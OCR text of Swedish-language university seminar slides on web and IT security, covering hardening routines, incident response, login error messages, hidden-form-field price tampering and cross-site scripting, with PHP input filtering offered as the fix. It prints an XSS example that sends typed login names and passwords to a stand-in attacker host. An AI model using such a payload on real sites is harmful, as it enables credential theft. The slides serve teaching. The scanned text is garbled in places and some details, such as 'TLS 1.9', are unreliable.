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Seminariets uppligg

En ritt sa spretig presentation med manga
smadelar som tillsammans skall visa pa
vikten att inte vara fOor godtrogen mot
varlden utanfor.

* FOrst om rutiner och teori

* Sedan mer teknikorienterat



I'T-sdakerhetstunktioner?

Anviandaren sdger ’det dar far teknikern fixa”
Teknikern sdger ’det dar skulle leverantoren fixat”
Leverantoren sager ’det dar far slutkunden fixa”
Anvindaren sidger ’det borde teknikern sagt till om”
Teknikern sager “det dr fel pa produkten”
Leverantoren sager ’det star i manualen hur man gor”
Teknikern sdger ’det 4r en bugg”

Leverantoren sager ’det dr en feature”

Anvindaren sdger ’ni skiter vi 1 det, nu kor vi”’



Verkligheten siger...

Toast...




Attackens komplexitet kontra kunskap som kravs
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Cross site scripting |
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Dagens lardom

Filtrera kommunikationen

fran anvandaren!



Internets Oppenhet

Oppet = Fritt fram
Oppet = Anonymt

Oppet = Saknar grinser



Bl1 inte rddda 1 fortid...

Tanken med seminariet ar inte att visa pa alla hemska saker
som kan handa utan att formedla vilka risker vi maste acceptera
om vi aktivt valjer viss funktionalitet framfor sakerhet.

Att enbart valja sakerhet gor att verksamheten
inte kan utfora sitt arbete!



Aven om Universiteten och hogskolorna
stravar efter Oppenhet och tillginglighet for
alla sa kan det ibland ga till overdrift vad
det giller att redovisa detaljer.

Det har dock blivit mycket bittre under de senaste aren. Nu visas inte sa ofta
stolt upp vilka 10sningar man bygger eller koper in. Eller?

Eller att information ges om vilka system som uppgraderas under helgen?



Problemen som existerar kring sikerheten kontra 6ppenheten dr dock inte

pa nagot sitt slutkundens fel.

Problemet 4r att det finns manga ute pa internet som vill ta dver

kontrollen. Fritt 6versatt finns det ett ordsprak

”’Visst betalade du for prylarna men ar det du som ager dem?”

Det handlar bade om situationen att vara i leverantorens hinder samt illvilliga
crackers.

Leverantoren inte redovisar alla bakomliggande funktioner
Leverantoren har for mycket funktioner aktiva for att gora det léttare

Anvindaren tar sig inte tid att fixa problemen och saknar ibland mojlighet.



Ett battre satt

Vid nyanforskaffning eller ominstallation av system:

* Forbered
* Harda
* Ha aktiv tillsyn



Forberedelser

Identifiera de kinsliga delarna av informationen som ni har.
Prioritera dessa och tink efter vilka hot som finns mot dessa.
Vem vill at vilka data? (som inte dr publikt tillginglig)

Se till att rutiner finns att uppticka om nagon kommer at
informationen (logguppfoljning, IDS mm).

GoOr checksummor/signaturer pa dokument som inte far dndras.

Ha kontroll pa dessa checksummor. (mer senare)



Harda installationen

Forsok minimera installationen och ldgg till de senaste patcharna.

Ta bort riattigheter och funktioner som inte behdvs. "Deny all, allow
some”’

Se over hur anvidndare kan logga in.

Kontrollera aterlasning fran backupband.
Se Over rutinerna kring fjarradministration och fysisk atkomst.

Ha sekundédra medium f6r checksummor av filer (exempelprogram
AIDE, Tripwire)



Ha aktiv tillsyn

Kontrollera med jimna mellanrum att informationen inte fordndrats
(kan automatiseras)

Titta 1 loggar efter onormala handelser, IDS kan hjilpa till hér.

Se dven Over den fysiska verkligheten sa inte nagon ansluter icke
godkénda saker.

Etablera rutiner 1 forvdg om vem som kontaktar vem. Det sparar
mycket tid att ha fiardiga telefonlistor.



Om det gar snett 4nda?

Agera snabbt!
Begransa skadan!

Upp med sakra system!



Vid hindelse av intrang

Ga igenom allt som kan vara relevant. Loggar, filer, checksummor,
kontroll fran andra maskiner mm.

Anvind inte systemet for att skicka ut info, om nagon annan har
kontroll over systemet kommer han/hon att upptéicka att ni
upptackt han/hon.

Begransa skadan!
Ta istillet bort mojligheterna for personen att ansluta. (olika teorier)

Forsok med ett rdddat system aterga till normal drift. (genomganget
med nya rutiner sa att det inte upprepas)



Forbattringar

Sammanstéll information om vad som gick snett. Varfor och hur kan
det forbattras?

GoOr om standarden for hur maskinen hardas.
Uppdatera rutinerna kring hur loggar samlas upp och hanteras.

Uppdatera dokumentation om vilka komponenter och vilken

information som skall skyddas.

Trana igenom de fordndringar som genomforts.



Utmaningen som forsvarare

En anfallare behover bara finna svagaste lanken

Forsvararen maste halla alla lankar starka.



Nagra fragor pa denna del?



Slut pa teori om rutiner

Dags 10r lite ren kunskap som man
kan gora natt med...



Grundlaggande...

HTML = HyperText Markup Language
HTTP = HyperText Transter Protocol

Klienter fragar HTTP inte HTML!
Servrar svarar HTML inlindad 1 HTTP



Grundlaggande del 2

PUT och POST

POST ir att foredra som funktion da PUT ofta
lamnar massa spar 1 loggar och inte minst
syns 1 adressfiltet!



Lite om ActiveX jamfort med Java

Sikerheten baserar sig pa “trusted code”.

ActiveX komponenter kan signeras.

Om signaturen dr “trusted”  [ur vems perspektiv...?]

sa dr alla komponenter palitliga fran den signaturen.

Och nir en komponent dr “trusted” sa far den full access till alla resurser

Kan inte hantera kod 1 Sandbox.
Darfor direkt oldmplig att hantera okénd kod.

Ur leverantors perspektivet kan det vara svart att darmed
sidlja in en sadan 16sning till nya kunder.



Lite kort om 1ntegritet/anonymitet

*Lagra inte pa er mer information an
nodvandigt

*Ha inte en Overtro pa att studenten litar pa
att ni behandlar informationen korrekt
*Tvinga inte studenter att lamna ifran sig
mer information an ni absolut behover i
arbetet

*Tank er in i studentens perspektiv inte
verksamheten

* Anvand kryptering sa informationen inte
skickas 1 klartext



Lite om kryptering

SSL. - Secure Socket Layer
TLS - Transport Layer Security

Bada skapar en krypterad anslutning mellan klient och
server (webblidsare och webbserver)

Man ser det ldttast genom att se pa
hinglaset i hornet samt att adressen
borjar pa https://

SSL v3.0 kom 1996
TLS 1.9 kom 1999 men kan ses som SSL 3.1




Om att lita pa ssl ur serverns perspektiv

Da en server arbetar med hjalp av ssl
for att erbjuda kryptering ar det
egentligen bara anvandaren som
erbjuds sakerhet.

Servern certifikat sager ingenting om
anvandarens identitet.

Da kravs det certifikat fran
anvandarens sida.



Dagens lardom

Filtrera kommunikationen

fran anvandaren!



Exempel: Inloggning

Anvandarnamn Losenord

Inloggningsforsok

5a har skall det ju se ut, ratt anvandare med ratt I6senord



Inloggningsforsok

Inl P asfErask nvandarnam
nloggningsforsd RAt?

Nope

4
Oqiltig anvandare

bland matar dock folk in fel anvandare...




Inloggningsforsok

Inloggningsforsok

Anvandarnamn Ye
Rétt? P

Lésenord
Ratt?

Nope

v

Oqiltigt 16senord

Och ibland fel losenord...



nvandarnam

Inloggningsforsok RAL?

Nope

v

Losenord

Oqiltig anvandare

Ratt? Yepp-»

Nope

v

Oqiltigt 16senord

Och det ar ju bra att veta att kontot ar ratt
men losenordet fel eller tvars om... eller hur?

Vi vill ju vara anvandarvanliga!



nvandarnam

Inloggningsforsok RA{t?

Nope

v

Losenord

Oqiltig anvandare

Ratt? Yepp-»

Nope

v

Oqiltigt 16senord

Detta flode ar inte brat!!!



Vad kan hianda?

* Enkelt att fa reda pa giltiga anvindarkonton

- vilket gor att crackern bara behover fokusera pa att hitta giltiga
l6senord.

* Enkelt att stora verksamheten

- Om tex en anvandare stings ute efter 10 felaktiga
inloggningar kan det funkera som en utestdngningsattack

( sa kallad Denial of Service, DoS)



Dagens lardom

Filtrera kommunikationen

fran anvandaren!



Inloggningsforsdk

En battre losning

Anvandarnamn Losenord

Felaktig
anvandare eller

l6senord




FOr andra exempel an user/pass

Presentera inte generella systemfel till anvandaren...

Det ar vanligt att webbplatser presenterar alldeles for mycket
info om de far felaktiga inmatningar till sig.

Valj istallet att fora dem till en logfil pa servern.

Att hitta exempel pa detta ar mycket enkelt och det kan
utforas pa de flesta webplatser.

Ofta kan nivan av vad som visas sankas.



Extra om utelasning

* En annan god ide &r att bara lasa ute anvidndare under ett visst
tidsintervall

* Detta skall ske UTAN att meddelas vid inloggningen. Chansen
finns da att crackern gar forbi det giltiga 16senordet under tiden
som han gissar vidare 1 blindo.



Extra om sessioner

* Ha en knapp pa sidorna dir anvindaren kan logga ut.

* Kasta ut (avsluta session) anvindare efter en viss tids inaktivitet.

Da sinks risken for att nagon kan ta over sessionen.



ViardelOs infrastruktur?

0 &

Brandvagg Webserver CI\L/IS' Applikation Databas Information

Med webblasaren kan slutanvandaren na
informationen

trots filtrering fran brandvaggar. For det ar ju
informationen som anvandaren skall komma at.

Informationen ar det som raknas inte
komponenter!



Vart nar inmatningen?




Dagens lardom

Filtrera kommunikationen

fran anvandaren!



En bittre 10sning

@@@@

e Lo ULy

Brandvagg Proxy Webserver CMS  Applikation Databas Information

Forsok filtrera undan informationen till/fran anvandaren.
Exempel foljer pa kommande bilder pa saker att leta efter.



HOTBILDER MOT
APPLIKATIONER

Hotkategori / Hur gors det

Vad hiinder da

Okiinda nggm Oppnar eller

Far kunskap om svagheter

laddar ner kiillkod

[ Andra cookie innehill Kan latsas vara nigon annan

Andra i HTML filt Kan sinka pris pa varor mm

URL-gissning Atkomst till hemlig data (exvis
kvartalsrapporter....)

Kinda svagheter Total access, forindring av data
eller vad som helst.

Buffert dverskrivning (buifer Mojligt med total access eller crash

overflow) av systemet.

Meta kod Access till kommandon 1
applikation eller operativeystem

URL Meta kod / inlinkning Server koming av skadlig kod,

access till systemet kan ges.

& [Pt fe» 6

——=1=linmatning

Krashar servern/applikationen




Manipulering av gomda falt

Som servern sa till mig...
<form action="http://personalshop.oru.se/handla.pl" method="POST">
<ir.pu 'ty ne ="hidden" name="pris" value = 495.00">

< 'fc ' m >
“acd.sulei~g s ot

POST /handla.pl HTTP/1.0
pris=495.00

Sa hdr svarade jag istiillet
POST /handla.pl HTTP/1.0
pris=4.95



och en specialare

XS S m CrO S S S ite S Cripting css dr natt annat som ni kan béttre dn mig... :-)

En cracker kan skriva om exempelvis en ldnk pa en sida eller kod pa ett
forum/klotterplank sa den inloggade anvindaren kor koden fran en annan
Server.

Exempel pa vad som kan hénda:
Att automatiskt byta I6senord pa kontot (hotmail...)
Ladda upp inmatade filt till en annan server (CC#...)



Exempel pa XSS

</form> <form
action="login1.asp”
method="post”
onsubmit="
XSSimage = new Image;

XSSimage.src="http://31337h4x0r.com’ + document.forms(1).login.value +
‘> + document.forms(1).password.value;”>



Dagens lardom

Filtrera kommunikationen

fran anvandaren!



En battre losning

Utan att ge sken av att vara en bra programmerare kan vi ta PHP
som exempel pa hur vi l6ser detta.

utf8_decode() kan anvindas for att ta bort Unicode inmatningar
(flera byte konverteras till en byte)
detta kan dock gora att 446 slutar att fungera.

strip_tags() tar bort taggar frin HTML och PHP i en string.

strtr() tr pa utvalda tecken (translate/oversitta) kan vara ett smidigt sitt

att behalla funktioner som att fa lanka in bilder mm i forum.



Uppdateringar

Det som jag 1 alla fall efter detta seminarie vill att n1 skall
gora dr ni ser till att uppdatera pa ett bra sétt

Jag tinkte visa pa en enkel metodik for den som ibland
strular till det...



Uppdatering

PN
‘Q 011

1000
00017 10001 \0«0‘-1 1 10' ¢

Information super
highway ...




Uppdatering 1

PN
‘Q 011

1000
00017 10001 \0«0‘-1 1 1o' ¢

Information super
highway ...




Uppdatering 2

PN
‘Q 011

1000
00017 10001 \0«0‘-1 1 10' ¢

Information super
highway ...




Uppdatering 3

PN
‘Q 011

4000 0y,
00011 10001 \0«01-1 119 ‘z

Information super
highway ...




Saker det inte fanns tid att ga igenom men som dnda dr ritt sa i
viktiga inom omradet att kontrollera flodet av information

(lite smasnack med eventuell tiden som finns kvar)

Databassikerhet
Proxyconfigurationer

Maskar/Trojaner
/Virus

IDS/IPS-funktioner
bots/harvesters

Spyware/adware

*Honeypots

*Tarpits

*Avancerade brandviaggar
*Datalagar

*Verktyg

*checklistor

*loggar mm mm



...Slut

Ovriga fragor som ni vantat med?

Tack for att ni tog er tid
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